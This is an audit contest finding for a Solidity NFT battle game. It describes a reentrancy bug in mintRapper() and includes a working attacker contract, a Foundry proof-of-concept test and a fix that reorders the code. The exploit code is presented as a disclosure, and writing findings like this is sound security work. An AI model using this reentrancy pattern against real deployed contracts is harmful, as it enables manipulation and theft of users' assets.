First Flight #10: One Shot
First Flight #10
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100 EXP
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Submission Details
Severity: medium
Valid

Attacker can use Reentrancy to go to battle with good stats without improving his skill by staking

azanux

[H4] - Attacker can use Reentrancy to go to battle with good stats without improving his skill by staking

Summary

The function OneShot.mintRapper() is subject to read-only reentrancy. A user could mint the NFT, go directly to battle with good stats without staking in the minting process.

Vulnerability Details

An attacker could create a Smart Contract and implement the function function onERC721Received(address, address, uint256 id, bytes calldata) with the call of rapBattleContract.goOnStageOrBattle.

When the Attacker Smart Contract mint a OneShot NFT by calling OneShotNFT.mintRapper(), the Contract receive the NFT and automatically trigger onERC721Received function in the Attacker smart contract where he implement something to call rapBattleContract.goOnStageOrBattle.
Stats rapperStats[tokenId] is not initialized yet because the stats are updated after safeMint() in the OneShot.mintRapper() function.

The Attacker use reentrancy to benefit from better stats without stakeing to improve his skill.

Impact

If a user already has cred token in the Attacker smart contract and goes to battle before his stats are updated, he would have a better start because rapperStats.weakKnees, rapperStats.weakKnees, rapperStats.weakKnees are not initialized yet and will equal to false.

POC

0 - User mints OneShot NFT
1 - User and user2 already have 3 cred tokens
2 - User goes to battle with his NFT as defender
3 - User2 calls the function attack() of the AttackerContract smart contract to mint NFT
4 - User3 receives the NFT in the Smart Contract that triggers the function function onERC721Received, that makes him go on Battle as challenger with good stats (not initialized yet)

AttackerContract: Attacker Smart Contract

contract AttackerContract is IERC721Receiver {
OneShot public oneShotContract;
RapBattle public rapBattleContract;
uint256 public amountBet;
​
uint256 count;
​
constructor(address _oneShotContract, address _rapBattle) {
oneShotContract = OneShot(_oneShotContract);
rapBattleContract = RapBattle(_rapBattle);
}
​
function attack(uint256 _amountBet) public {
amountBet = _amountBet;
oneShotContract.mintRapper();
}
​
// Implementing IERC721Receiver so the contract can accept ERC721 tokens
function onERC721Received(address, address, uint256 id, bytes calldata) external override returns (bytes4) {
​
// This part shows that the user has these 3 features set to false instead of true when he mints the NFT
OneShot.RapperStats memory rapperStats = oneShotContract.getRapperStats(id);
console.log("Attacker weakKnees: %s", rapperStats.weakKnees);
console.log("Attacker weakKnees: %s", rapperStats.weakKnees);
console.log("Attacker weakKnees: %s", rapperStats.weakKnees);
rapBattleContract.goOnStageOrBattle(id, amountBet);
​
return IERC721Receiver.onERC721Received.selector;
}
}

To run the exploit, add this function in the file OneShotTest.t.sol:

// Test if user can go to battle with good stats without improving his skill
function testMintRapperWithGoodStats() public {
// Create a new user 2
address user2 = makeAddr("User2");
​
// Give the 2 users 3 cred tokens
vm.prank(address(streets));
cred.mint(user, 3);
vm.prank(address(streets));
cred.mint(user2, 3);
​
// Check they really have 3 cred tokens
assertEq(cred.balanceOf(user), 3);
assertEq(cred.balanceOf(user2), 3);
​
// User goes on battle
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
​
// User3 creates a Smart Contract and uses reentrancy to mint a rapper with good stats
// weakKnees = false, heavyArms = false, spaghettiSweater = false
vm.prank(user2);
AttackerContract attacker = new AttackerContract(address(oneShot), address(rapBattle));
​
vm.prank(user);
attacker.attack(3);
​
console.log("Owner of NFT 0 is ", oneShot.ownerOf(0));
​
// The user2 wins the battle and gets 3 cred tokens
console.log("User balance is ", cred.balanceOf(user2));
}

Tools Used

Foundry & slither

Recommendations

In the function mintRapper() of Smart Contract OneShot.sol, update the stats before minting the NFT:

function mintRapper() public {
uint256 tokenId = _nextTokenId++;
+ // Initialize metadata for the minted token
+ rapperStats[tokenId] = RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
_safeMint(msg.sender, tokenId);
​
- // Initialize metadata for the minted token
- rapperStats[tokenId] = RapperStats({weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0});
}
Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

mintRapper reentrancy leads to fighting having better chances of winning.

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